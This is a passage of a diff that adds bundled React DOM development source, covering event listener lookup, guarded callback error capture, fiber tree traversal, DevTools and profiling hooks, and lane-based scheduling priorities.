+        function setBatchingImplementation(_batchedUpdatesImpl, _discreteUpdatesImpl, _flushSyncImpl) {
+          batchedUpdatesImpl = _batchedUpdatesImpl;
+          flushSyncImpl = _flushSyncImpl;
+        }
+        function isInteractive(tag) {
+          return tag === "button" || tag === "input" || tag === "select" || tag === "textarea";
+        }
+        function shouldPreventMouseEvent(name, type, props) {
+          switch (name) {
+            case "onClick":
+            case "onClickCapture":
+            case "onDoubleClick":
+            case "onDoubleClickCapture":
+            case "onMouseDown":
+            case "onMouseDownCapture":
+            case "onMouseMove":
+            case "onMouseMoveCapture":
+            case "onMouseUp":
+            case "onMouseUpCapture":
+            case "onMouseEnter":
+              return !!(props.disabled && isInteractive(type));
+            default:
+              return false;
+          }
+        }
+        function getListener(inst, registrationName) {
+          var stateNode = inst.stateNode;
+          if (stateNode === null) {
+            return null;
+          }
+          var props = getFiberCurrentPropsFromNode(stateNode);
+          if (props === null) {
+            return null;
+          }
+          var listener = props[registrationName];
+          if (shouldPreventMouseEvent(registrationName, inst.type, props)) {
+            return null;
+          }
+          if (listener && typeof listener !== "function") {
+            throw new Error("Expected `" + registrationName + "` listener to be a function, instead got a value of `" + typeof listener + "` type.");
+          }
+          return listener;
+        }
+        var passiveBrowserEventsSupported = false;
+        if (canUseDOM) {
+          try {
+            var options = {};
+            Object.defineProperty(options, "passive", {
+              get: function() {
+                passiveBrowserEventsSupported = true;
+              }
+            });
+            window.addEventListener("test", options, options);
+            window.removeEventListener("test", options, options);
+          } catch (e2) {
+            passiveBrowserEventsSupported = false;
+          }
+        }
+        function invokeGuardedCallbackProd(name, func, context, a2, b2, c2, d2, e2, f2) {
+          var funcArgs = Array.prototype.slice.call(arguments, 3);
+          try {
+            func.apply(context, funcArgs);
+          } catch (error2) {
+            this.onError(error2);
+          }
+        }
+        var invokeGuardedCallbackImpl = invokeGuardedCallbackProd;
+        {
+          if (typeof window !== "undefined" && typeof window.dispatchEvent === "function" && typeof document !== "undefined" && typeof document.createEvent === "function") {
+            var fakeNode = document.createElement("react");
+            invokeGuardedCallbackImpl = function invokeGuardedCallbackDev(name, func, context, a2, b2, c2, d2, e2, f2) {
+              if (typeof document === "undefined" || document === null) {
+                throw new Error("The `document` global was defined when React was initialized, but is not defined anymore. This can happen in a test environment if a component schedules an update from an asynchronous callback, but the test has already finished running. To solve this, you can either unmount the component at the end of your test (and ensure that any asynchronous operations get canceled in `componentWillUnmount`), or you can change the test itself to be asynchronous.");
+              }
+              var evt = document.createEvent("Event");
+              var didCall = false;
+              var didError = true;
+              var windowEvent = window.event;
+              var windowEventDescriptor = Object.getOwnPropertyDescriptor(window, "event");
+              function restoreAfterDispatch() {
+                fakeNode.removeEventListener(evtType, callCallback2, false);
+                if (typeof window.event !== "undefined" && window.hasOwnProperty("event")) {
+                  window.event = windowEvent;
+                }
+              }
+              var funcArgs = Array.prototype.slice.call(arguments, 3);
+              function callCallback2() {
+                didCall = true;
+                restoreAfterDispatch();
+                func.apply(context, funcArgs);
+                didError = false;
+              }
+              var error2;
+              var didSetError = false;
+              var isCrossOriginError = false;
+              function handleWindowError(event) {
+                error2 = event.error;
+                didSetError = true;
+                if (error2 === null && event.colno === 0 && event.lineno === 0) {
+                  isCrossOriginError = true;
+                }
+                if (event.defaultPrevented) {
+                  if (error2 != null && typeof error2 === "object") {
+                    try {
+                      error2._suppressLogging = true;
+                    } catch (inner) {
+                    }
+                  }
+                }
+              }
+              var evtType = "react-" + (name ? name : "invokeguardedcallback");
+              window.addEventListener("error", handleWindowError);
+              fakeNode.addEventListener(evtType, callCallback2, false);
+              evt.initEvent(evtType, false, false);
+              fakeNode.dispatchEvent(evt);
+              if (windowEventDescriptor) {
+                Object.defineProperty(window, "event", windowEventDescriptor);
+              }
+              if (didCall && didError) {
+                if (!didSetError) {
+                  error2 = new Error(`An error was thrown inside one of your components, but React doesn't know what it was. This is likely due to browser flakiness. React does its best to preserve the "Pause on exceptions" behavior of the DevTools, which requires some DEV-mode only tricks. It's possible that these don't work in your browser. Try triggering the error in production mode, or switching to a modern browser. If you suspect that this is actually an issue with React, please file an issue.`);
+                } else if (isCrossOriginError) {
+                  error2 = new Error("A cross-origin error was thrown. React doesn't have access to the actual error object in development. See https://reactjs.org/link/crossorigin-error for more information.");
+                }
+                this.onError(error2);
+              }
+              window.removeEventListener("error", handleWindowError);
+              if (!didCall) {
+                restoreAfterDispatch();
+                return invokeGuardedCallbackProd.apply(this, arguments);
+              }
+            };
+          }
+        }
+        var invokeGuardedCallbackImpl$1 = invokeGuardedCallbackImpl;
+        var hasError = false;
+        var caughtError = null;
+        var hasRethrowError = false;
+        var rethrowError = null;
+        var reporter = {
+          onError: function(error2) {
+            hasError = true;
+            caughtError = error2;
+          }
+        };
+        function invokeGuardedCallback(name, func, context, a2, b2, c2, d2, e2, f2) {
+          hasError = false;
+          caughtError = null;
+          invokeGuardedCallbackImpl$1.apply(reporter, arguments);
+        }
+        function invokeGuardedCallbackAndCatchFirstError(name, func, context, a2, b2, c2, d2, e2, f2) {
+          invokeGuardedCallback.apply(this, arguments);
+          if (hasError) {
+            var error2 = clearCaughtError();
+            if (!hasRethrowError) {
+              hasRethrowError = true;
+              rethrowError = error2;
+            }
+          }
+        }
+        function rethrowCaughtError() {
+          if (hasRethrowError) {
+            var error2 = rethrowError;
+            hasRethrowError = false;
+            rethrowError = null;
+            throw error2;
+          }
+        }
+        function hasCaughtError() {
+          return hasError;
+        }
+        function clearCaughtError() {
+          if (hasError) {
+            var error2 = caughtError;
+            hasError = false;
+            caughtError = null;
+            return error2;
+          } else {
+            throw new Error("clearCaughtError was called but no error was captured. This error is likely caused by a bug in React. Please file an issue.");
+          }
+        }
+        function get(key) {
+          return key._reactInternals;
+        }
+        function has(key) {
+          return key._reactInternals !== void 0;
+        }
+        function set(key, value) {
+          key._reactInternals = value;
+        }
+        var NoFlags = 0;
+        var PerformedWork = 1;
+        var Placement = 2;
+        var Update = 4;
+        var ChildDeletion = 16;
+        var ContentReset = 32;
+        var Callback = 64;
+        var DidCapture = 128;
+        var ForceClientRender = 256;
+        var Ref = 512;
+        var Snapshot = 1024;
+        var Passive = 2048;
+        var Hydrating = 4096;
+        var Visibility = 8192;
+        var StoreConsistency = 16384;
+        var LifecycleEffectMask = Passive | Update | Callback | Ref | Snapshot | StoreConsistency;
+        var HostEffectMask = 32767;
+        var Incomplete = 32768;
+        var ShouldCapture = 65536;
+        var ForceUpdateForLegacySuspense = 131072;
+        var Forked = 1048576;
+        var RefStatic = 2097152;
+        var LayoutStatic = 4194304;
+        var PassiveStatic = 8388608;
+        var MountLayoutDev = 16777216;
+        var MountPassiveDev = 33554432;
+        var BeforeMutationMask = Update | Snapshot | 0;
+        var MutationMask = Placement | Update | ChildDeletion | ContentReset | Ref | Hydrating | Visibility;
+        var LayoutMask = Update | Callback | Ref | Visibility;
+        var PassiveMask = Passive | ChildDeletion;
+        var StaticMask = LayoutStatic | PassiveStatic | RefStatic;
+        var ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;
+        function getNearestMountedFiber(fiber) {
+          var node = fiber;
+          var nearestMounted = fiber;
+          if (!fiber.alternate) {
+            var nextNode = node;
+            do {
+              node = nextNode;
+              if ((node.flags & (Placement | Hydrating)) !== NoFlags) {
+                nearestMounted = node.return;
+              }
+              nextNode = node.return;
+            } while (nextNode);
+          } else {
+            while (node.return) {
+              node = node.return;
+            }
+          }
+          if (node.tag === HostRoot) {
+            return nearestMounted;
+          }
+          return null;
+        }
+        function getSuspenseInstanceFromFiber(fiber) {
+          if (fiber.tag === SuspenseComponent) {
+            var suspenseState = fiber.memoizedState;
+            if (suspenseState === null) {
+              var current2 = fiber.alternate;
+              if (current2 !== null) {
+                suspenseState = current2.memoizedState;
+              }
+            }
+            if (suspenseState !== null) {
+              return suspenseState.dehydrated;
+            }
+          }
+          return null;
+        }
+        function getContainerFromFiber(fiber) {
+          return fiber.tag === HostRoot ? fiber.stateNode.containerInfo : null;
+        }
+        function isFiberMounted(fiber) {
+          return getNearestMountedFiber(fiber) === fiber;
+        }
+        function isMounted(component) {
+          {
+            var owner = ReactCurrentOwner.current;
+            if (owner !== null && owner.tag === ClassComponent) {
+              var ownerFiber = owner;
+              var instance = ownerFiber.stateNode;
+              if (!instance._warnedAboutRefsInRender) {
+                error("%s is accessing isMounted inside its render() function. render() should be a pure function of props and state. It should never access something that requires stale data from the previous render, such as refs. Move this logic to componentDidMount and componentDidUpdate instead.", getComponentNameFromFiber(ownerFiber) || "A component");
+              }
+              instance._warnedAboutRefsInRender = true;
+            }
+          }
+          var fiber = get(component);
+          if (!fiber) {
+            return false;
+          }
+          return getNearestMountedFiber(fiber) === fiber;
+        }
+        function assertIsMounted(fiber) {
+          if (getNearestMountedFiber(fiber) !== fiber) {
+            throw new Error("Unable to find node on an unmounted component.");
+          }
+        }
+        function findCurrentFiberUsingSlowPath(fiber) {
+          var alternate = fiber.alternate;
+          if (!alternate) {
+            var nearestMounted = getNearestMountedFiber(fiber);
+            if (nearestMounted === null) {
+              throw new Error("Unable to find node on an unmounted component.");
+            }
+            if (nearestMounted !== fiber) {
+              return null;
+            }
+            return fiber;
+          }
+          var a2 = fiber;
+          var b2 = alternate;
+          while (true) {
+            var parentA = a2.return;
+            if (parentA === null) {
+              break;
+            }
+            var parentB = parentA.alternate;
+            if (parentB === null) {
+              var nextParent = parentA.return;
+              if (nextParent !== null) {
+                a2 = b2 = nextParent;
+                continue;
+              }
+              break;
+            }
+            if (parentA.child === parentB.child) {
+              var child = parentA.child;
+              while (child) {
+                if (child === a2) {
+                  assertIsMounted(parentA);
+                  return fiber;
+                }
+                if (child === b2) {
+                  assertIsMounted(parentA);
+                  return alternate;
+                }
+                child = child.sibling;
+              }
+              throw new Error("Unable to find node on an unmounted component.");
+            }
+            if (a2.return !== b2.return) {
+              a2 = parentA;
+              b2 = parentB;
+            } else {
+              var didFindChild = false;
+              var _child = parentA.child;
+              while (_child) {
+                if (_child === a2) {
+                  didFindChild = true;
+                  a2 = parentA;
+                  b2 = parentB;
+                  break;
+                }
+                if (_child === b2) {
+                  didFindChild = true;
+                  b2 = parentA;
+                  a2 = parentB;
+                  break;
+                }
+                _child = _child.sibling;
+              }
+              if (!didFindChild) {
+                _child = parentB.child;
+                while (_child) {
+                  if (_child === a2) {
+                    didFindChild = true;
+                    a2 = parentB;
+                    b2 = parentA;
+                    break;
+                  }
+                  if (_child === b2) {
+                    didFindChild = true;
+                    b2 = parentB;
+                    a2 = parentA;
+                    break;
+                  }
+                  _child = _child.sibling;
+                }
+                if (!didFindChild) {
+                  throw new Error("Child was not found in either parent set. This indicates a bug in React related to the return pointer. Please file an issue.");
+                }
+              }
+            }
+            if (a2.alternate !== b2) {
+              throw new Error("Return fibers should always be each others' alternates. This error is likely caused by a bug in React. Please file an issue.");
+            }
+          }
+          if (a2.tag !== HostRoot) {
+            throw new Error("Unable to find node on an unmounted component.");
+          }
+          if (a2.stateNode.current === a2) {
+            return fiber;
+          }
+          return alternate;
+        }
+        function findCurrentHostFiber(parent) {
+          var currentParent = findCurrentFiberUsingSlowPath(parent);
+          return currentParent !== null ? findCurrentHostFiberImpl(currentParent) : null;
+        }
+        function findCurrentHostFiberImpl(node) {
+          if (node.tag === HostComponent || node.tag === HostText) {
+            return node;
+          }
+          var child = node.child;
+          while (child !== null) {
+            var match = findCurrentHostFiberImpl(child);
+            if (match !== null) {
+              return match;
+            }
+            child = child.sibling;
+          }
+          return null;
+        }
+        function findCurrentHostFiberWithNoPortals(parent) {
+          var currentParent = findCurrentFiberUsingSlowPath(parent);
+          return currentParent !== null ? findCurrentHostFiberWithNoPortalsImpl(currentParent) : null;
+        }
+        function findCurrentHostFiberWithNoPortalsImpl(node) {
+          if (node.tag === HostComponent || node.tag === HostText) {
+            return node;
+          }
+          var child = node.child;
+          while (child !== null) {
+            if (child.tag !== HostPortal) {
+              var match = findCurrentHostFiberWithNoPortalsImpl(child);
+              if (match !== null) {
+                return match;
+              }
+            }
+            child = child.sibling;
+          }
+          return null;
+        }
+        var scheduleCallback = Scheduler.unstable_scheduleCallback;
+        var cancelCallback = Scheduler.unstable_cancelCallback;
+        var shouldYield = Scheduler.unstable_shouldYield;
+        var requestPaint = Scheduler.unstable_requestPaint;
+        var now = Scheduler.unstable_now;
+        var getCurrentPriorityLevel = Scheduler.unstable_getCurrentPriorityLevel;
+        var ImmediatePriority = Scheduler.unstable_ImmediatePriority;
+        var UserBlockingPriority = Scheduler.unstable_UserBlockingPriority;
+        var NormalPriority = Scheduler.unstable_NormalPriority;
+        var LowPriority = Scheduler.unstable_LowPriority;
+        var IdlePriority = Scheduler.unstable_IdlePriority;
+        var unstable_yieldValue = Scheduler.unstable_yieldValue;
+        var unstable_setDisableYieldValue = Scheduler.unstable_setDisableYieldValue;
+        var rendererID = null;
+        var injectedHook = null;
+        var injectedProfilingHooks = null;
+        var hasLoggedError = false;
+        var isDevToolsPresent = typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== "undefined";
+        function injectInternals(internals) {
+          if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === "undefined") {
+            return false;
+          }
+          var hook = __REACT_DEVTOOLS_GLOBAL_HOOK__;
+          if (hook.isDisabled) {
+            return true;
+          }
+          if (!hook.supportsFiber) {
+            {
+              error("The installed version of React DevTools is too old and will not work with the current version of React. Please update React DevTools. https://reactjs.org/link/react-devtools");
+            }
+            return true;
+          }
+          try {
+            if (enableSchedulingProfiler) {
+              internals = assign({}, internals, {
+                getLaneLabelMap,
+                injectProfilingHooks
+              });
+            }
+            rendererID = hook.inject(internals);
+            injectedHook = hook;
+          } catch (err) {
+            {
+              error("React instrumentation encountered an error: %s.", err);
+            }
+          }
+          if (hook.checkDCE) {
+            return true;
+          } else {
+            return false;
+          }
+        }
+        function onScheduleRoot(root2, children) {
+          {
+            if (injectedHook && typeof injectedHook.onScheduleFiberRoot === "function") {
+              try {
+                injectedHook.onScheduleFiberRoot(rendererID, root2, children);
+              } catch (err) {
+                if (!hasLoggedError) {
+                  hasLoggedError = true;
+                  error("React instrumentation encountered an error: %s", err);
+                }
+              }
+            }
+          }
+        }
+        function onCommitRoot(root2, eventPriority) {
+          if (injectedHook && typeof injectedHook.onCommitFiberRoot === "function") {
+            try {
+              var didError = (root2.current.flags & DidCapture) === DidCapture;
+              if (enableProfilerTimer) {
+                var schedulerPriority;
+                switch (eventPriority) {
+                  case DiscreteEventPriority:
+                    schedulerPriority = ImmediatePriority;
+                    break;
+                  case ContinuousEventPriority:
+                    schedulerPriority = UserBlockingPriority;
+                    break;
+                  case DefaultEventPriority:
+                    schedulerPriority = NormalPriority;
+                    break;
+                  case IdleEventPriority:
+                    schedulerPriority = IdlePriority;
+                    break;
+                  default:
+                    schedulerPriority = NormalPriority;
+                    break;
+                }
+                injectedHook.onCommitFiberRoot(rendererID, root2, schedulerPriority, didError);
+              } else {
+                injectedHook.onCommitFiberRoot(rendererID, root2, void 0, didError);
+              }
+            } catch (err) {
+              {
+                if (!hasLoggedError) {
+                  hasLoggedError = true;
+                  error("React instrumentation encountered an error: %s", err);
+                }
+              }
+            }
+          }
+        }
+        function onPostCommitRoot(root2) {
+          if (injectedHook && typeof injectedHook.onPostCommitFiberRoot === "function") {
+            try {
+              injectedHook.onPostCommitFiberRoot(rendererID, root2);
+            } catch (err) {
+              {
+                if (!hasLoggedError) {
+                  hasLoggedError = true;
+                  error("React instrumentation encountered an error: %s", err);
+                }
+              }
+            }
+          }
+        }
+        function onCommitUnmount(fiber) {
+          if (injectedHook && typeof injectedHook.onCommitFiberUnmount === "function") {
+            try {
+              injectedHook.onCommitFiberUnmount(rendererID, fiber);
+            } catch (err) {
+              {
+                if (!hasLoggedError) {
+                  hasLoggedError = true;
+                  error("React instrumentation encountered an error: %s", err);
+                }
+              }
+            }
+          }
+        }
+        function setIsStrictModeForDevtools(newIsStrictMode) {
+          {
+            if (typeof unstable_yieldValue === "function") {
+              unstable_setDisableYieldValue(newIsStrictMode);
+              setSuppressWarning(newIsStrictMode);
+            }
+            if (injectedHook && typeof injectedHook.setStrictMode === "function") {
+              try {
+                injectedHook.setStrictMode(rendererID, newIsStrictMode);
+              } catch (err) {
+                {
+                  if (!hasLoggedError) {
+                    hasLoggedError = true;
+                    error("React instrumentation encountered an error: %s", err);
+                  }
+                }
+              }
+            }
+          }
+        }
+        function injectProfilingHooks(profilingHooks) {
+          injectedProfilingHooks = profilingHooks;
+        }
+        function getLaneLabelMap() {
+          {
+            var map = /* @__PURE__ */ new Map();
+            var lane = 1;
+            for (var index2 = 0; index2 < TotalLanes; index2++) {
+              var label = getLabelForLane(lane);
+              map.set(lane, label);
+              lane *= 2;
+            }
+            return map;
+          }
+        }
+        function markCommitStarted(lanes) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markCommitStarted === "function") {
+              injectedProfilingHooks.markCommitStarted(lanes);
+            }
+          }
+        }
+        function markCommitStopped() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markCommitStopped === "function") {
+              injectedProfilingHooks.markCommitStopped();
+            }
+          }
+        }
+        function markComponentRenderStarted(fiber) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentRenderStarted === "function") {
+              injectedProfilingHooks.markComponentRenderStarted(fiber);
+            }
+          }
+        }
+        function markComponentRenderStopped() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentRenderStopped === "function") {
+              injectedProfilingHooks.markComponentRenderStopped();
+            }
+          }
+        }
+        function markComponentPassiveEffectMountStarted(fiber) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectMountStarted === "function") {
+              injectedProfilingHooks.markComponentPassiveEffectMountStarted(fiber);
+            }
+          }
+        }
+        function markComponentPassiveEffectMountStopped() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectMountStopped === "function") {
+              injectedProfilingHooks.markComponentPassiveEffectMountStopped();
+            }
+          }
+        }
+        function markComponentPassiveEffectUnmountStarted(fiber) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectUnmountStarted === "function") {
+              injectedProfilingHooks.markComponentPassiveEffectUnmountStarted(fiber);
+            }
+          }
+        }
+        function markComponentPassiveEffectUnmountStopped() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentPassiveEffectUnmountStopped === "function") {
+              injectedProfilingHooks.markComponentPassiveEffectUnmountStopped();
+            }
+          }
+        }
+        function markComponentLayoutEffectMountStarted(fiber) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectMountStarted === "function") {
+              injectedProfilingHooks.markComponentLayoutEffectMountStarted(fiber);
+            }
+          }
+        }
+        function markComponentLayoutEffectMountStopped() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectMountStopped === "function") {
+              injectedProfilingHooks.markComponentLayoutEffectMountStopped();
+            }
+          }
+        }
+        function markComponentLayoutEffectUnmountStarted(fiber) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectUnmountStarted === "function") {
+              injectedProfilingHooks.markComponentLayoutEffectUnmountStarted(fiber);
+            }
+          }
+        }
+        function markComponentLayoutEffectUnmountStopped() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentLayoutEffectUnmountStopped === "function") {
+              injectedProfilingHooks.markComponentLayoutEffectUnmountStopped();
+            }
+          }
+        }
+        function markComponentErrored(fiber, thrownValue, lanes) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentErrored === "function") {
+              injectedProfilingHooks.markComponentErrored(fiber, thrownValue, lanes);
+            }
+          }
+        }
+        function markComponentSuspended(fiber, wakeable, lanes) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markComponentSuspended === "function") {
+              injectedProfilingHooks.markComponentSuspended(fiber, wakeable, lanes);
+            }
+          }
+        }
+        function markLayoutEffectsStarted(lanes) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markLayoutEffectsStarted === "function") {
+              injectedProfilingHooks.markLayoutEffectsStarted(lanes);
+            }
+          }
+        }
+        function markLayoutEffectsStopped() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markLayoutEffectsStopped === "function") {
+              injectedProfilingHooks.markLayoutEffectsStopped();
+            }
+          }
+        }
+        function markPassiveEffectsStarted(lanes) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markPassiveEffectsStarted === "function") {
+              injectedProfilingHooks.markPassiveEffectsStarted(lanes);
+            }
+          }
+        }
+        function markPassiveEffectsStopped() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markPassiveEffectsStopped === "function") {
+              injectedProfilingHooks.markPassiveEffectsStopped();
+            }
+          }
+        }
+        function markRenderStarted(lanes) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderStarted === "function") {
+              injectedProfilingHooks.markRenderStarted(lanes);
+            }
+          }
+        }
+        function markRenderYielded() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderYielded === "function") {
+              injectedProfilingHooks.markRenderYielded();
+            }
+          }
+        }
+        function markRenderStopped() {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderStopped === "function") {
+              injectedProfilingHooks.markRenderStopped();
+            }
+          }
+        }
+        function markRenderScheduled(lane) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markRenderScheduled === "function") {
+              injectedProfilingHooks.markRenderScheduled(lane);
+            }
+          }
+        }
+        function markForceUpdateScheduled(fiber, lane) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markForceUpdateScheduled === "function") {
+              injectedProfilingHooks.markForceUpdateScheduled(fiber, lane);
+            }
+          }
+        }
+        function markStateUpdateScheduled(fiber, lane) {
+          {
+            if (injectedProfilingHooks !== null && typeof injectedProfilingHooks.markStateUpdateScheduled === "function") {
+              injectedProfilingHooks.markStateUpdateScheduled(fiber, lane);
+            }
+          }
+        }
+        var NoMode = 0;
+        var ConcurrentMode = 1;
+        var ProfileMode = 2;
+        var StrictLegacyMode = 8;
+        var StrictEffectsMode = 16;
+        var clz32 = Math.clz32 ? Math.clz32 : clz32Fallback;
+        var log = Math.log;
+        var LN2 = Math.LN2;
+        function clz32Fallback(x) {
+          var asUint = x >>> 0;
+          if (asUint === 0) {
+            return 32;
+          }
+          return 31 - (log(asUint) / LN2 | 0) | 0;
+        }
+        var TotalLanes = 31;
+        var NoLanes = 0;
+        var NoLane = 0;
+        var SyncLane = 1;
+        var InputContinuousHydrationLane = 2;
+        var InputContinuousLane = 4;
+        var DefaultHydrationLane = 8;
+        var DefaultLane = 16;
+        var TransitionHydrationLane = 32;
+        var TransitionLanes = 4194240;
+        var TransitionLane1 = 64;
+        var TransitionLane2 = 128;
+        var TransitionLane3 = 256;
+        var TransitionLane4 = 512;
+        var TransitionLane5 = 1024;
+        var TransitionLane6 = 2048;
+        var TransitionLane7 = 4096;
+        var TransitionLane8 = 8192;
+        var TransitionLane9 = 16384;
+        var TransitionLane10 = 32768;
+        var TransitionLane11 = 65536;
+        var TransitionLane12 = 131072;
+        var TransitionLane13 = 262144;
+        var TransitionLane14 = 524288;
+        var TransitionLane15 = 1048576;
+        var TransitionLane16 = 2097152;
+        var RetryLanes = 130023424;
+        var RetryLane1 = 4194304;
+        var RetryLane2 = 8388608;
+        var RetryLane3 = 16777216;
+        var RetryLane4 = 33554432;
+        var RetryLane5 = 67108864;
+        var SomeRetryLane = RetryLane1;
+        var SelectiveHydrationLane = 134217728;
+        var NonIdleLanes = 268435455;
+        var IdleHydrationLane = 268435456;
+        var IdleLane = 536870912;
+        var OffscreenLane = 1073741824;
+        function getLabelForLane(lane) {
+          {
+            if (lane & SyncLane) {
+              return "Sync";
+            }
+            if (lane & InputContinuousHydrationLane) {
+              return "InputContinuousHydration";
+            }
+            if (lane & InputContinuousLane) {
+              return "InputContinuous";
+            }
+            if (lane & DefaultHydrationLane) {
+              return "DefaultHydration";
+            }
+            if (lane & DefaultLane) {
+              return "Default";
+            }
+            if (lane & TransitionHydrationLane) {
+              return "TransitionHydration";
+            }
+            if (lane & TransitionLanes) {
+              return "Transition";
+            }
+            if (lane & RetryLanes) {
+              return "Retry";
+            }
+            if (lane & SelectiveHydrationLane) {
+              return "SelectiveHydration";
+            }
+            if (lane & IdleHydrationLane) {
+              return "IdleHydration";
+            }
+            if (lane & IdleLane) {
+              return "Idle";
+            }
+            if (lane & OffscreenLane) {
+              return "Offscreen";
+            }
+          }
+        }
+        var NoTimestamp = -1;
+        var nextTransitionLane = TransitionLane1;
+        var nextRetryLane = RetryLane1;
+        function getHighestPriorityLanes(lanes) {
+          switch (getHighestPriorityLane(lanes)) {
+            case SyncLane:
+              return SyncLane;
+            case InputContinuousHydrationLane:
+              return InputContinuousHydrationLane;
+            case InputContinuousLane:
+              return InputContinuousLane;
+            case DefaultHydrationLane:
+              return DefaultHydrationLane;
+            case DefaultLane:
+              return DefaultLane;
+            case TransitionHydrationLane:
+              return TransitionHydrationLane;
+            case TransitionLane1:
+            case TransitionLane2:
+            case TransitionLane3:
+            case TransitionLane4:
+            case TransitionLane5:
+            case TransitionLane6:
+            case TransitionLane7:
+            case TransitionLane8:
+            case TransitionLane9:
+            case TransitionLane10:
+            case TransitionLane11:
+            case TransitionLane12:
+            case TransitionLane13:
+            case TransitionLane14:
+            case TransitionLane15:
+            case TransitionLane16:
+              return lanes & TransitionLanes;
+            case RetryLane1:
+            case RetryLane2:
+            case RetryLane3:
+            case RetryLane4:
+            case RetryLane5:
+              return lanes & RetryLanes;
+            case SelectiveHydrationLane:
+              return SelectiveHydrationLane;
+            case IdleHydrationLane:
+              return IdleHydrationLane;
+            case IdleLane:
+              return IdleLane;
+            case OffscreenLane:
+              return OffscreenLane;
+            default:
+              {
+                error("Should have found matching lanes. This is a bug in React.");
+              }
+              return lanes;
+          }
+        }
+        function getNextLanes(root2, wipLanes) {
+          var pendingLanes = root2.pendingLanes;
+          if (pendingLanes === NoLanes) {
+            return NoLanes;
+          }
+          var nextLanes = NoLanes;
+          var suspendedLanes = root2.suspendedLanes;
+          var pingedLanes = root2.pingedLanes;
+          var nonIdlePendingLanes = pendingLanes & NonIdleLanes;
+          if (nonIdlePendingLanes !== NoLanes) {
+            var nonIdleUnblockedLanes = nonIdlePendingLanes & ~suspendedLanes;
+            if (nonIdleUnblockedLanes !== NoLanes) {
+              nextLanes = getHighestPriorityLanes(nonIdleUnblockedLanes);
+            } else {
+              var nonIdlePingedLanes = nonIdlePendingLanes & pingedLanes;
+              if (nonIdlePingedLanes !== NoLanes) {
+                nextLanes = getHighestPriorityLanes(nonIdlePingedLanes);
+              }
+            }
+          } else {
+            var unblockedLanes = pendingLanes & ~suspendedLanes;
+            if (unblockedLanes !== NoLanes) {
+              nextLanes = getHighestPriorityLanes(unblockedLanes);
+            } else {
+              if (pingedLanes !== NoLanes) {
+                nextLanes = getHighestPriorityLanes(pingedLanes);
+              }
+            }
+          }
+          if (nextLanes === NoLanes) {
+            return NoLanes;
+          }
+          if (wipLanes !== NoLanes && wipLanes !== nextLanes && (wipLanes & suspendedLanes) === NoLanes) {
+            var nextLane = getHighestPriorityLane(nextLanes);
+            var wipLane = getHighestPriorityLane(wipLanes);
+            if (nextLane >= wipLane || nextLane === DefaultLane && (wipLane & TransitionLanes) !== NoLanes) {
+              return wipLanes;
+            }
+          }
+          if ((nextLanes & InputContinuousLane) !== NoLanes) {
+            nextLanes |= pendingLanes & DefaultLane;
+          }
+          var entangledLanes = root2.entangledLanes;
+          if (entangledLanes !== NoLanes) {
+            var entanglements = root2.entanglements;
+            var lanes = nextLanes & entangledLanes;
+            while (lanes > 0) {
+              var index2 = pickArbitraryLaneIndex(lanes);
+              var lane = 1 << index2;
+              nextLanes |= entanglements[index2];
+              lanes &= ~lane;
+            }
+          }
+          return nextLanes;
+        }
+        function getMostRecentEventTime(root2, lanes) {
+          var eventTimes = root2.eventTimes;
+          var mostRecentEventTime = NoTimestamp;
+          while (lanes > 0) {
+            var index2 = pickArbitraryLaneIndex(lanes);
+            var lane = 1 << index2;
+            var eventTime = eventTimes[index2];
+            if (eventTime > mostRecentEventTime) {
+              mostRecentEventTime = eventTime;
+            }
+            lanes &= ~lane;
+          }
+          return mostRecentEventTime;
+        }
+        function computeExpirationTime(lane, currentTime) {
+          switch (lane) {
+            case SyncLane:
+            case InputContinuousHydrationLane:
+            case InputContinuousLane:
+              return currentTime + 250;
+            case DefaultHydrationLane:
+            case DefaultLane:
+            case TransitionHydrationLane:
+            case TransitionLane1:
+            case TransitionLane2:
+            case TransitionLane3:
+            case TransitionLane4:
+            case TransitionLane5:
+            case TransitionLane6:
+            case TransitionLane7:
+            case TransitionLane8:
+            case TransitionLane9:
+            case TransitionLane10:
+            case TransitionLane11:
+            case TransitionLane12:
+            case TransitionLane13:
+            case TransitionLane14:
+            case TransitionLane15:
+            case TransitionLane16:
+              return currentTime + 5e3;
+            case RetryLane1:
+            case RetryLane2:
+            case RetryLane3:
+            case RetryLane4:
+            case RetryLane5:
+              return NoTimestamp;
+            case SelectiveHydrationLane:
+            case IdleHydrationLane:
+            case IdleLane:
+            case OffscreenLane:
+              return NoTimestamp;
+            default:
+              {
+                error("Should have found matching lanes. This is a bug in React.");
+              }
+              return NoTimestamp;
+          }
+        }
